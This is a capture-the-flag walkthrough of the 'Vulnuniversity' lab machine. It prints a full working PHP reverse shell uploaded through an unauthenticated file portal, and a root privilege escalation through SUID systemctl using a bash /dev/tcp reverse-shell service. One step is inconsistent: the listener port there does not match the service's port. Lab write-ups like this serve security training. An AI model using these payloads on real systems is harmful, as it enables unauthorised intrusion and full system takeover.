Vulnuniversity

Walk through of the vulnuniversity room

Full Walk through

Port scanning

nmap -sC -sV 10.10.110.48 -p-

Results:

Service Enumeration Scan

Services Found:

• Port 3333: Apache HTTP server (2.4.8)

• Port 3128: Squid proxy server 3.5.12

• Port 22: OpenSSH 7.2p2

• Port 21: vsftpd (FTP server)

• Port 139, 445: SMB over NetBIOS

Vulnerability scan

nmap --script vuln 10.10.110.48 -p 3333,3128,22,21,139,445

Vulnerability scan results

Directory discovery

gobuster dir --url http://10.10.110.48:3333/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt

Gobuster directory brute force

We find the /internal directory, where we can upload files via the internal upload portal:

Upload portal

Arbitrary file upload

The internal upload portal, has no authentication and supports arbitrary file upload of .phtml files.

php reverse shell file

Remote Code Execution

To get a shell access we create the following php-reverse-shell.phtml file to exploit the file upload vulnerability:

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [e-mail]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [e-mail]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.17.30.161';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

We can easily execute our php-reverse-shell.phtml file by visiting the link http://10.10.110.48:3333/internal/uploads/php-reverse-shell.phtml

Execution of uploaded exploit

To connect to the reverse shell we create a simple netcat listener using:

nc -vnlp 4444

reverse shell in action

We can make this shell better by spawning a bash shell with python. This will help us run commands through shell access that is not possible through this reverse shell.

Python bash shell

Foot holding

The initial access is for the user www-data:

foothold

target ip details

Find who has access to what resources

We can dump the /etc/passwd file contents using the user account www-data:

contents of /etc/passwd

We find that the user bill has the shell access:

bill has access to /bin/bash

User FLAG

user flag

Find files with SUID set

find / -perm -u=s -type f 2>/dev/null

systemctl has SUID set

We find systemctl has SUID set. So with by enabling a malicious service we can get root shell access.

Privilege Escalation

Plan is to spawn another reverse shell back to attacker machine with root access. We do this by creating the following root.service in the /tmp directory because we have write access to it:

[Service]
Type=simple
User=root
Execstart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.48.13/9999 0>&1'

Setup a netcat shell on the above defined service port:

nc -vnlp 4444

We start this service using:

/bin/systemctl enable --now /tmp/root.service

Starting root.service using systemctl

We immediately get back the root shell at our netcat listener:

Netcat listener with root shell

Root FLAG

root FLAG